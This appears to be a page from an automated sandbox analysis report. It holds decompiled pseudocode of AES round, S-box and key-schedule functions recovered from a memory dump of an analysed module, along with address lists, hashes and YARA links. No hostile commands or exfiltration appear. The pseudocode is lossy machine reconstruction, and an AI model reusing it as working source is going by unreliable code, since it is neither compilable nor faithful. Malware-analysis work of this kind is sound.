									_t150 = _v644;
									_t158 =  *_t106;
									_t109 =  *((intOrPtr*)(_t106 + 4)) -  *_t106 >> 2;
									__eflags = _t150 - _t109;
									if(_t150 != _t109) {
										E6EFBEB90(_t128, _t162, _t168, _t158 + _t150 * 4, _t109 - _t150, 4, E6EFC14E1);
									}
									goto L43;
								} else {
									_push(_v612);
									_t128 = E6EFC188A(_t128,  &_v604, _t162, _t168, _t162, _t128, _t128);
								}
								L44:
								__eflags = _v652;
								if(_v652 != 0) {
									E6EFBFEFF(_v664);
								}
							} else {
								__eflags = _t139 - _t162 + 1;
								if(_t139 == _t162 + 1) {
									_t77 = _v605;
									goto L23;
								} else {
									_push(_t157);
									E6EFC188A(0, _t139, _t162, _t167, _t162, 0, 0);
								}
							}
							__eflags = _v12 ^ _t173;
							return E6EFBC65E(_v12 ^ _t173);
						} else {
							goto L7;
						}
					}
				} else {
					_t122 = 0xc;
					L4:
					return _t122;
				}
			}

0x6efc188f
0x6efc1890
0x6efc1893
0x6efc1893
0x6efc1896
0x6efc1896
0x6efc1898
0x6efc1899
0x6efc189d
0x6efc189e
0x6efc18a5
0x6efc18a8
0x6efc18ad
0x6efc18b7
0x6efc18b8
0x6efc18b9
0x6efc18bc
0x6efc18c6
0x6efc18ca
0x6efc18cc
0x6efc18e0
0x6efc18e0
0x6efc18e3
0x6efc18ed
0x6efc18f2
0x6efc18f5
0x6efc18f7
0x00000000
0x6efc18f9
0x6efc18f9
0x6efc18fe
0x6efc1905
0x6efc1908
0x6efc190a
0x6efc191b
0x6efc191d
0x6efc191f
0x6efc191f
0x6efc191f
0x6efc190c
0x6efc190d
0x6efc1912
0x6efc1915
0x6efc1924
0x6efc192a
0x00000000
0x6efc192d
0x6efc18ce
0x6efc18ce
0x6efc18d4
0x6efc18d9
0x6efc18dc
0x6efc18de
0x6efc1930
0x6efc1932
0x6efc1933
0x6efc1934
0x6efc1935
0x6efc1936
0x6efc1937
0x6efc193c
0x6efc1940
0x6efc1942
0x6efc1948
0x6efc194f
0x6efc1952
0x6efc1955
0x6efc1958
0x6efc1959
0x6efc195a
0x6efc195d
0x6efc1963
0x6efc1965
0x6efc1967
0x6efc1967
0x6efc1969
0x6efc196b
0x00000000
0x00000000
0x6efc196d
0x6efc196f
0x6efc1971
0x6efc1973
0x6efc197e
0x6efc1980
0x6efc1982
0x00000000
0x00000000
0x6efc1982
0x6efc1973
0x00000000
0x6efc196f
0x6efc1984
0x6efc1984
0x6efc198a
0x6efc198c
0x6efc1992
0x6efc1994
0x6efc19b6
0x6efc19b6
0x6efc19b8
0x6efc19ba
0x6efc19c6
0x6efc19c6
0x6efc19bc
0x6efc19bc
0x6efc19be
0x00000000
0x6efc19c0
0x6efc19c0
0x6efc19c2
0x6efc19c4
0x00000000
0x00000000
0x6efc19c4
0x6efc19be
0x6efc19ce
0x6efc19d6
0x6efc19dc
0x6efc19dd
0x6efc19df
0x6efc19e7
0x6efc19ed
0x6efc19f3
0x6efc19f9
0x6efc1a0d
0x6efc1a12
0x6efc1a1d
0x6efc1a33
0x6efc1a35
0x6efc1a38
0x6efc1a5b
0x6efc1a5b
0x6efc1a5d
0x6efc1a60
0x6efc1a66
0x6efc1a66
0x6efc1a6c
0x6efc1a72
0x6efc1a78
0x6efc1a7e
0x6efc1a84
0x6efc1aa5
0x6efc1aaa
0x6efc1aaf
0x6efc1ab3
0x6efc1ab9
0x6efc1abc
0x6efc1acf
0x6efc1acf
0x6efc1add
0x6efc1ae2
0x6efc1ae5
0x6efc1aeb
0x6efc1aed
0x6efc1b4b
0x6efc1b51
0x6efc1b59
0x6efc1b5e
0x6efc1b64
0x6efc1b65
0x00000000
0x00000000
0x00000000
0x6efc1abe
0x6efc1abe
0x6efc1ac1
0x6efc1ac3
0x00000000
0x6efc1ac5
0x6efc1ac5
0x6efc1ac8
0x00000000
0x6efc1aca
0x6efc1aca
0x6efc1acd
0x00000000
0x00000000
0x00000000
0x00000000
0x6efc1acd
0x6efc1ac8
0x6efc1ac3
0x6efc1b67
0x6efc1b68
0x00000000
0x6efc1aef
0x6efc1aef
0x6efc1af5
0x6efc1afd
0x6efc1b02
0x6efc1b02
0x6efc1b11
0x6efc1b11
0x6efc1b19
0x6efc1b1f
0x6efc1b25
0x6efc1b2c
0x6efc1b2f
0x6efc1b31
0x6efc1b41
0x6efc1b46
0x00000000
0x6efc1a3a
0x6efc1a3a
0x6efc1a4b
0x6efc1a4b
0x6efc1b6e
0x6efc1b6e
0x6efc1b76
0x6efc1b7e
0x6efc1b83
0x6efc1996
0x6efc1999
0x6efc199b
0x6efc19b0
0x00000000
0x6efc199d
0x6efc199d
0x6efc19a3
0x6efc19a8
0x6efc199b
0x6efc1b8a
0x6efc1b95
0x00000000
0x00000000
0x00000000
0x6efc18de
0x6efc18af
0x6efc18b1
0x6efc18b2
0x6efc18b6
0x6efc18b6

Memory Dump Source

Source File: 00000004.00000002.263275290.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000004.00000002.263259630.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263267291.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000004.00000002.263336720.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263365706.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263372676.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.263392189.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263403555.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 133fce6761d4416f1965b2ed7841f79cc20b0c8a103074075138ce5682f8dcbc
Instruction ID: 7cde9e1a65f5c936eb5945c3377dffefd6a391bf4ec8480dff1f5a3f609394c5
Opcode Fuzzy Hash: 133fce6761d4416f1965b2ed7841f79cc20b0c8a103074075138ce5682f8dcbc
Instruction Fuzzy Hash: 6941C6B1C0421AAFDB10CFA8CCA8AEBB7BDAF45704F2446D9E45DD3240E6359E858F51

Uniqueness

Uniqueness Score: -1.00%

Function 6EFBB2B0, Relevance: .4, Instructions: 403
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E6EFBB2B0(signed int* __ecx, signed char* __edx, unsigned int* _a4) {
				unsigned int _v8;
				unsigned int _v12;
				signed int _v16;
				unsigned int _v20;
				unsigned int _v24;
				signed int _v28;
				unsigned int _v32;
				unsigned int _v36;
				signed int* _t261;
				signed int* _t262;
				unsigned int _t263;
				unsigned int _t269;
				unsigned int _t291;
				unsigned int _t296;
				unsigned int _t310;
				unsigned int _t312;
				signed char _t318;
				unsigned int _t340;
				unsigned int* _t427;
				unsigned int _t496;
				unsigned int _t500;
				unsigned int _t514;
				unsigned int _t521;
				unsigned int _t529;
				unsigned int _t537;
				unsigned int _t568;
				unsigned int _t573;
				unsigned int _t589;
				signed int _t591;
				signed int _t593;

				_t261 = __ecx[1];
				_v8 = (__edx[7] & 0x000000ff) << 8;
				_v8 = _v8 | __edx[6] & 0x000000ff;
				_v8 = _v8 << 8;
				_v8 = _v8 | __edx[5] & 0x000000ff;
				_v8 = _v8 << 8;
				_v8 = _v8 | __edx[4] & 0x000000ff;
				_v8 = _v8 ^ _t261[1];
				_v16 = (__edx[0xb] & 0x000000ff) << 8;
				_t291 = ((((__edx[3] & 0x000000ff) << 0x00000008 | __edx[2] & 0x000000ff) << 0x00000008 | __edx[1] & 0x000000ff) << 0x00000008 |  *__edx & 0x000000ff) ^  *_t261;
				_v20 = _t291;
				_t589 = (((_v16 | __edx[0xa] & 0x000000ff) << 0x00000008 | __edx[9] & 0x000000ff) << 0x00000008 | __edx[8] & 0x000000ff) ^ _t261[2];
				_v12 = (__edx[0xf] & 0x000000ff) << 8;
				_v12 = _v12 | __edx[0xe] & 0x000000ff;
				_v12 = _v12 << 8;
				_v12 = _v12 | __edx[0xd] & 0x000000ff;
				_v12 = _v12 << 8;
				_v16 = _t589;
				_t500 = (_v12 | __edx[0xc] & 0x000000ff) ^ _t261[3];
				_t262 =  &(_t261[4]);
				_t340 = ( *__ecx >> 1) - 1;
				_v12 = _t500;
				_v36 = _t340;
				if(_t340 > 0) {
					do {
						_v24 =  *(0x6efff690 + (_t500 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x6f000690 + (_t589 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x6effe968 + (_v8 >> 0x18) * 4) ^  *(0x6efffa90 + (_t291 & 0x000000ff) * 4) ^  *_t262;
						_v28 =  *(0x6f000690 + (_v12 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x6efff690 + (_t291 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x6effe968 + (_v16 >> 0x18) * 4) ^  *(0x6efffa90 + (_v8 & 0x000000ff) * 4) ^ _t262[1];
						_t312 = _v16;
						_v32 =  *(0x6efff690 + (_v8 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x6f000690 + (_t291 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x6effe968 + (_v12 >> 0x18) * 4) ^  *(0x6efffa90 + (_t312 & 0x000000ff) * 4) ^ _t262[2];
						_t318 =  *(0x6efff690 + (_t312 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x6f000690 + (_v8 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x6effe968 + (_v20 >> 0x18) * 4) ^  *(0x6efffa90 + (_v12 & 0x000000ff) * 4) ^ _t262[3];
						_v20 =  *(0x6efff690 + (_t318 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x6f000690 + (_v32 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x6effe968 + (_v28 >> 0x18) * 4) ^  *(0x6efffa90 + (_v24 & 0x000000ff) * 4) ^ _t262[4];
						_v8 =  *(0x6f000690 + (_t318 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x6efff690 + (_v24 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x6effe968 + (_v32 >> 0x18) * 4);
						_t568 = _v28;
						_t591 = _v8 ^  *(0x6efffa90 + (_t568 & 0x000000ff) * 4);
						_v8 = _t591;
						_v8 = _t591 ^ _t262[5];
						_v16 =  *(0x6efff690 + (_t568 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x6f000690 + (_v24 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x6effe968 + (_t318 >> 0x18) * 4);
						_t573 = _v32;
						_t593 = _v16 ^  *(0x6efffa90 + (_t573 & 0x000000ff) * 4);
						_v16 = _t593;
						_v16 = _t593 ^ _t262[6];
						_t589 = _v16;
						_t291 = _v20;
						_t500 =  *(0x6efff690 + (_t573 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x6f000690 + (_v28 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x6effe968 + (_v24 >> 0x18) * 4) ^  *(0x6efffa90 + (_t318 & 0x000000ff) * 4) ^ _t262[7];
						_t496 = _v36 - 1;
						_t262 =  &(_t262[8]);
						_v12 = _t500;
						_v36 = _t496;
					} while (_t496 > 0);
				}
				_v24 =  *(0x6efff690 + (_t500 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x6f000690 + (_t589 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x6effe968 + (_v8 >> 0x18) * 4) ^  *(0x6efffa90 + (_t291 & 0x000000ff) * 4) ^  *_t262;
				_v28 =  *(0x6f000690 + (_v12 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x6efff690 + (_t291 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x6effe968 + (_t589 >> 0x18) * 4) ^  *(0x6efffa90 + (_v8 & 0x000000ff) * 4) ^ _t262[1];
				_t514 = _v16;
				_t296 =  *(0x6efff690 + (_v8 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x6f000690 + (_t291 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x6effe968 + (_v12 >> 0x18) * 4) ^  *(0x6efffa90 + (_t514 & 0x000000ff) * 4) ^ _t262[2];
				_v16 = _t296;
				_t521 =  *(0x6efff690 + (_t514 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x6f000690 + (_v8 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x6effe968 + (_v20 >> 0x18) * 4) ^  *(0x6efffa90 + (_v12 & 0x000000ff) * 4) ^ _t262[3];
				_v36 = _t521;
				_v20 = (( *((_t296 >> 0x00000010 & 0x000000ff) + 0x6effed68) & 0x000000ff ^ ( *((_v28 >> 0x18) + 0x6effed68) & 0x000000ff) << 0x00000008) << 0x00000008 ^  *((_t521 >> 0x00000008 & 0x000000ff) + 0x6effed68) & 0x000000ff) << 0x00000008 ^  *((_v24 & 0x000000ff) + 0x6effed68) & 0x000000ff ^ _t262[4];
				_v12 = (( *((_t521 >> 0x00000010 & 0x000000ff) + 0x6effed68) & 0x000000ff ^ ( *((_v16 >> 0x18) + 0x6effed68) & 0x000000ff) << 0x00000008) << 0x00000008 ^  *((_v24 >> 0x00000008 & 0x000000ff) + 0x6effed68) & 0x000000ff) << 0x00000008 ^  *((_v28 & 0x000000ff) + 0x6effed68) & 0x000000ff ^ _t262[5];
				_t529 = _v28;
				_t310 = (( *((_v24 >> 0x00000010 & 0x000000ff) + 0x6effed68) & 0x000000ff ^ ( *((_v36 >> 0x18) + 0x6effed68) & 0x000000ff) << 0x00000008) << 0x00000008 ^  *((_t529 >> 0x00000008 & 0x000000ff) + 0x6effed68) & 0x000000ff) << 0x00000008 ^  *((_v16 & 0x000000ff) + 0x6effed68) & 0x000000ff ^ _t262[6];
				_t427 = _a4;
				_t537 = (( *((_t529 >> 0x00000010 & 0x000000ff) + 0x6effed68) & 0x000000ff ^ ( *((_v24 >> 0x18) + 0x6effed68) & 0x000000ff) << 0x00000008) << 0x00000008 ^  *((_v16 >> 0x00000008 & 0x000000ff) + 0x6effed68) & 0x000000ff) << 0x00000008 ^  *((_v36 & 0x000000ff) + 0x6effed68) & 0x000000ff ^ _t262[7];
				_t263 = _v20;
				 *_t427 = _t263;
				_t427[0] = _t263 >> 8;
				_t427[0] = _v20 >> 0x10;
				_t427[0] = _v20 >> 0x18;
				_t269 = _v12;
				_t427[1] = _t269;
				_t427[1] = _t269 >> 8;
				_t427[1] = _v12 >> 0x10;
				_t427[1] = _v12 >> 0x18;
				_t427[2] = _t310 >> 8;
				_t427[2] = _t310 >> 0x10;
				_t427[3] = _t537 >> 8;
				_t427[2] = _t310;
				_t427[3] = _t537;
				_t427[2] = _t310 >> 0x18;
				_t427[3] = _t537 >> 0x10;
				_t427[3] = _t537 >> 0x18;
				return 0;
			}

0x6efbb2e0
0x6efbb2e3
0x6efbb2ea
0x6efbb2ed
0x6efbb2f5
0x6efbb2fc
0x6efbb300
0x6efbb309
0x6efbb313
0x6efbb31f
0x6efbb32a
0x6efbb33a
0x6efbb340
0x6efbb347
0x6efbb34e
0x6efbb352
0x6efbb355
0x6efbb362
0x6efbb367
0x6efbb36a
0x6efbb36f
0x6efbb370
0x6efbb373
0x6efbb378
0x6efbb380
0x6efbb3bd
0x6efbb3fc
0x6efbb40a
0x6efbb441
0x6efbb46f
0x6efbb4b3
0x6efbb4dd
0x6efbb4e0
0x6efbb4e9
0x6efbb4f2
0x6efbb4f8
0x6efbb526
0x6efbb529
0x6efbb538
0x6efbb541
0x6efbb54e
0x6efbb557
0x6efbb574
0x6efbb581
0x6efbb584
0x6efbb585
0x6efbb588
0x6efbb58b
0x6efbb58e
0x6efbb380
0x6efbb5d3
0x6efbb611
0x6efbb626
0x6efbb65a
0x6efbb660
0x6efbb686
0x6efbb68f
0x6efbb6dc
0x6efbb72b
0x6efbb72e
0x6efbb776
0x6efbb7b9
0x6efbb7bc
0x6efbb7bf
0x6efbb7c2
0x6efbb7c7
0x6efbb7d0
0x6efbb7d9
0x6efbb7dc
0x6efbb7df
0x6efbb7e5
0x6efbb7ee
0x6efbb7f7
0x6efbb7ff
0x6efbb807
0x6efbb80f
0x6efbb814
0x6efbb81e
0x6efbb825
0x6efbb828
0x6efbb82d
0x6efbb834

Memory Dump Source

Source File: 00000004.00000002.263275290.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000004.00000002.263259630.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263267291.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000004.00000002.263336720.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263365706.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263372676.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.263392189.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263403555.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a58634c2ca4948d19c99956bdac2896a4ffad9de4bdc64a6f0b65a8dfedfa7f
Instruction ID: 966925f7f0a6bf0511a35ff854f7072884ca395621929dabd938b6239ed23be5
Opcode Fuzzy Hash: 9a58634c2ca4948d19c99956bdac2896a4ffad9de4bdc64a6f0b65a8dfedfa7f
Instruction Fuzzy Hash: 9002A4709141648FDB5CCF5AD4F047DFBF2EB8A311B55829ED5836B782C238A612DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6EFB9F20, Relevance: .2, Instructions: 163
COMMONCrypto

Download Yara Rule

C-Code - Quality: 76%

			E6EFB9F20() {
				signed int _v8;
				signed int _v12;
				intOrPtr _v980;
				intOrPtr _v984;
				intOrPtr _v992;
				intOrPtr _v1000;
				char _v1040;
				signed int _t86;
				unsigned int _t90;
				char _t97;
				signed int _t102;
				signed int _t108;
				signed int _t122;
				signed int _t125;
				signed int _t126;
				signed int _t127;
				signed int _t163;
				signed int _t164;
				intOrPtr _t165;
				signed int _t167;
				signed int* _t168;
				signed int _t175;
				signed int _t176;
				signed int _t177;
				signed int _t178;
				void* _t179;

				_t167 = 1;
				_t176 = 0;
				do {
					 *(_t179 + _t176 * 4 - 0x808) = _t167;
					 *(_t179 + _t167 * 4 - 0x408) = _t176;
					asm("sbb ecx, ecx");
					_t176 = _t176 + 1;
					_t167 = ( ~(_t167 & 0x80) & 0x0000001b ^ _t167 + _t167 ^ _t167) & 0x000000ff;
				} while (_t176 < 0x100);
				_t177 = 1;
				_t168 = 0x6effee68;
				do {
					 *_t168 = _t177;
					asm("sbb ecx, ecx");
					_t168 =  &(_t168[1]);
					_t177 = ( ~(_t177 & 0x80) & 0x0000001b ^ _t177 + _t177) & 0x000000ff;
				} while (_t168 < 0x6effee90);
				_t86 = 1;
				 *0x6effe868 = 0x63;
				 *0x6effedcb = 0;
				_v8 = 1;
				do {
					_t122 =  *( &_v1040 - ( *(_t179 + _t86 * 4 - 0x408) << 2));
					_t90 = (_t122 >> 0x00000007 | _t122 + _t122) & 0x000000ff;
					_t125 = _t122 ^ _t90 ^ (_t90 >> 0x00000007 | _t90 + _t90) & 0x000000ff ^ ((((((_t90 >> 0x00000007 | _t90 + _t90) & 0x000000ff) >> 0x00000007 | ((_t90 >> 0x00000007 | _t90 + _t90) & 0x000000ff) + _t92) & 0x000000ff) >> 0x00000007 | ((((_t90 >> 0x00000007 | _t90 + _t90) & 0x000000ff) >> 0x00000007 | ((_t90 >> 0x00000007 | _t90 + _t90) & 0x000000ff) + _t92) & 0x000000ff) + ((((_t90 >> 0x00000007 | _t90 + _t90) & 0x000000ff) >> 0x00000007 | ((_t90 >> 0x00000007 | _t90 + _t90) & 0x000000ff) + _t92) & 0x000000ff)) ^ 0x00000063) & 0x000000ff ^ (((_t90 >> 0x00000007 | _t90 + _t90) & 0x000000ff) >> 0x00000007 | ((_t90 >> 0x00000007 | _t90 + _t90) & 0x000000ff) + _t92) & 0x000000ff;
					_t97 = _v8;
					 *(_t97 + 0x6effe868) = _t125;
					 *((char*)(_t125 + 0x6effed68)) = _t97;
					_t86 = _t97 + 1;
					_v8 = _t86;
				} while (_t86 < 0x100);
				_t126 = 0xff;
				_t178 = 0;
				_v12 = 0xff;
				do {
					_t21 = _t178 + 0x6effe868; // 0x0
					_t170 =  *_t21 & 0x000000ff;
					asm("sbb ecx, ecx");
					_t163 = (((( ~( *_t21 & 0x80) & 0x0000001b ^ _t170 + _t170) & 0x000000ff ^ _t170) << 0x00000008 ^ _t170) << 0x00000008 ^ _t170) << 0x00000008 ^ ( ~( *_t21 & 0x80) & 0x0000001b ^ _t170 + _t170) & 0x000000ff;
					 *(0x6f000290 + _t178 * 4) = _t163;
					asm("rol ecx, 0x8");
					 *(0x6efffe90 + _t178 * 4) = _t163;
					asm("rol ecx, 0x8");
					 *(0x6efff290 + _t178 * 4) = _t163;
					asm("rol ecx, 0x8");
					 *(0x6effee90 + _t178 * 4) = _t163;
					_t31 = _t178 + 0x6effed68; // 0x0
					_t164 =  *_t31 & 0x000000ff;
					if(_t164 == 0) {
						_t127 = 0;
						_t175 = 0;
						_v8 = 0;
						_t102 = 0;
					} else {
						_t165 =  *((intOrPtr*)(_t179 + _t164 * 4 - 0x408));
						asm("cdq");
						_t175 =  *(_t179 + (_v980 + _t165) % _t126 * 4 - 0x808);
						asm("cdq");
						_t127 =  *(_t179 + (_v1000 + _t165) % _t126 * 4 - 0x808);
						asm("cdq");
						_v8 =  *((intOrPtr*)(_t179 + (_v984 + _t165) % _v12 * 4 - 0x808));
						asm("cdq");
						_t102 =  *(_t179 + (_v992 + _t165) % 0xff * 4 - 0x808);
					}
					_t126 = 0xff;
					_t108 = ((_t102 << 0x00000008 ^ _v8) << 0x00000008 ^ _t127) << 0x00000008 ^ _t175;
					 *(0x6efffa90 + _t178 * 4) = _t108;
					asm("rol eax, 0x8");
					 *(0x6efff690 + _t178 * 4) = _t108;
					asm("rol eax, 0x8");
					 *(0x6f000690 + _t178 * 4) = _t108;
					asm("rol eax, 0x8");
					 *(0x6effe968 + _t178 * 4) = _t108;
					_t178 = _t178 + 1;
				} while (_t178 < 0x100);
				return _t108;
			}

0x6efb9f29
0x6efb9f31
0x6efb9f33
0x6efb9f35
0x6efb9f3e
0x6efb9f4d
0x6efb9f4f
0x6efb9f57
0x6efb9f5a
0x6efb9f62
0x6efb9f67
0x6efb9f70
0x6efb9f72
0x6efb9f7e
0x6efb9f80
0x6efb9f88
0x6efb9f8b
0x6efb9f93
0x6efb9f98
0x6efb9f9f
0x6efb9fa6
0x6efb9fb0
0x6efb9fc2
0x6efb9fce
0x6efb9fff
0x6efba001
0x6efba004
0x6efba00a
0x6efba010
0x6efba011
0x6efba014
0x6efba01b
0x6efba020
0x6efba022
0x6efba025
0x6efba025
0x6efba025
0x6efba038
0x6efba053
0x6efba055
0x6efba05c
0x6efba05f
0x6efba066
0x6efba069
0x6efba070
0x6efba073
0x6efba07a
0x6efba07a
0x6efba083
0x6efba0df
0x6efba0e1
0x6efba0e3
0x6efba0e6
0x6efba085
0x6efba085
0x6efba094
0x6efba09f
0x6efba0a6
0x6efba0b1
0x6efba0b8
0x6efba0c3
0x6efba0d3
0x6efba0d6
0x6efba0d6
0x6efba0f3
0x6efba0fb
0x6efba0fd
0x6efba104
0x6efba107
0x6efba10e
0x6efba111
0x6efba118
0x6efba11b
0x6efba122
0x6efba123
0x6efba135

Memory Dump Source

Source File: 00000004.00000002.263275290.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000004.00000002.263259630.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263267291.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000004.00000002.263336720.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263365706.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263372676.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.263392189.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263403555.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a06b13c3e3604f5a52760eb3079a01880d5093ddfeb76beeb9c3fb0444a5cc98
Instruction ID: 7e06fd9d2f043641f1dd8c11f1acb1c6b86044544db33ce130bbba51b6287284
Opcode Fuzzy Hash: a06b13c3e3604f5a52760eb3079a01880d5093ddfeb76beeb9c3fb0444a5cc98
Instruction Fuzzy Hash: 625121727102248BDB58CF69D8A13ADBBE5EB8A310F40417EE9C7D7381C638DA45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6EFBB080, Relevance: .1, Instructions: 145
COMMONCrypto

Download Yara Rule

C-Code - Quality: 68%

			E6EFBB080(void* __ebx, signed int* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _v12;
				intOrPtr _v292;
				signed int _v296;
				intOrPtr _v300;
				signed int _t81;
				intOrPtr _t85;
				intOrPtr* _t87;
				signed int* _t143;
				signed char _t146;
				signed int _t151;
				intOrPtr* _t153;
				signed char* _t154;
				signed int _t178;
				signed int* _t179;
				void* _t181;
				void* _t183;
				signed int _t184;

				_t81 =  *0x6efe609c; // 0x65dbd48f
				_v12 = _t81 ^ _t184;
				_t181 = __edx;
				_t143 = __ecx;
				E6EFBD230(__edi,  &_v296, 0, 0x118);
				_t178 =  &(_t143[2]);
				_t143[1] = _t178;
				_t85 = E6EFBA140( &_v296, _t181);
				_v300 = _t85;
				if(_t85 == 0) {
					_t151 = _v296;
					 *_t143 = _t151;
					_t153 = (_t151 << 4) + _v292;
					 *_t178 =  *_t153;
					 *((intOrPtr*)(_t178 + 4)) =  *((intOrPtr*)(_t153 + 4));
					 *((intOrPtr*)(_t178 + 8)) =  *((intOrPtr*)(_t153 + 8));
					_t154 = _t153 - 0x10;
					 *((intOrPtr*)(_t178 + 0xc)) =  *((intOrPtr*)(_t153 + 0xc));
					_t179 = _t178 + 0x10;
					_t183 =  *_t143 - 1;
					while(_t183 > 0) {
						_t183 = _t183 - 1;
						 *_t179 =  *(0x6effe968 + ( *((_t154[3] & 0x000000ff) + 0x6effe868) & 0x000000ff) * 4) ^  *(0x6f000690 + ( *((_t154[2] & 0x000000ff) + 0x6effe868) & 0x000000ff) * 4) ^  *(0x6efff690 + ( *((_t154[1] & 0x000000ff) + 0x6effe868) & 0x000000ff) * 4) ^  *(0x6efffa90 + ( *(( *_t154 & 0x000000ff) + 0x6effe868) & 0x000000ff) * 4);
						_t179[1] =  *(0x6f000690 + ( *((_t154[4] >> 0x00000010 & 0x000000ff) + 0x6effe868) & 0x000000ff) * 4) ^  *(0x6efff690 + ( *((_t154[4] >> 0x00000008 & 0x000000ff) + 0x6effe868) & 0x000000ff) * 4) ^  *(0x6effe968 + ( *((_t154[4] >> 0x18) + 0x6effe868) & 0x000000ff) * 4) ^  *(0x6efffa90 + ( *((_t144 & 0x000000ff) + 0x6effe868) & 0x000000ff) * 4);
						_t179[2] =  *(0x6f000690 + ( *((_t154[8] >> 0x00000010 & 0x000000ff) + 0x6effe868) & 0x000000ff) * 4) ^  *(0x6efff690 + ( *((_t154[8] >> 0x00000008 & 0x000000ff) + 0x6effe868) & 0x000000ff) * 4) ^  *(0x6effe968 + ( *((_t154[8] >> 0x18) + 0x6effe868) & 0x000000ff) * 4) ^  *(0x6efffa90 + ( *((_t145 & 0x000000ff) + 0x6effe868) & 0x000000ff) * 4);
						_t146 = _t154[0xc];
						_t154 = _t154 - 0x10;
						_t179[3] =  *(0x6f000690 + ( *((_t146 >> 0x00000010 & 0x000000ff) + 0x6effe868) & 0x000000ff) * 4) ^  *(0x6efff690 + ( *((_t146 >> 0x00000008 & 0x000000ff) + 0x6effe868) & 0x000000ff) * 4) ^  *(0x6effe968 + ( *((_t146 >> 0x18) + 0x6effe868) & 0x000000ff) * 4) ^  *(0x6efffa90 + ( *((_t146 & 0x000000ff) + 0x6effe868) & 0x000000ff) * 4);
						_t179 =  &(_t179[4]);
					}
					 *_t179 =  *_t154;
					_t179[1] = _t154[4];
					_t179[2] = _t154[8];
					_t179[3] = _t154[0xc];
				}
				_t87 =  *0x6efcd168; // 0x6efbd230
				 *_t87(0, 0x118);
				return E6EFBC65E(_v12 ^ _t184,  &_v296);
			}

0x6efbb089
0x6efbb090
0x6efbb0a1
0x6efbb0a6
0x6efbb0a8
0x6efbb0b0
0x6efbb0b5
0x6efbb0be
0x6efbb0c6
0x6efbb0ce
0x6efbb0d4
0x6efbb0da
0x6efbb0df
0x6efbb0e7
0x6efbb0ec
0x6efbb0f2
0x6efbb0f8
0x6efbb0fb
0x6efbb0fe
0x6efbb103
0x6efbb106
0x6efbb114
0x6efbb158
0x6efbb1ad
0x6efbb203
0x6efbb206
0x6efbb20e
0x6efbb25c
0x6efbb25f
0x6efbb262
0x6efbb26c
0x6efbb271
0x6efbb277
0x6efbb27d
0x6efbb27d
0x6efbb28e
0x6efbb293
0x6efbb2ae

Memory Dump Source

Source File: 00000004.00000002.263275290.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000004.00000002.263259630.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263267291.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000004.00000002.263336720.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263365706.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263372676.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.263392189.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263403555.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1580201b4cc4ee33dbc86862b580259b851a5d456b4e8d750c7a926fbec96dd2
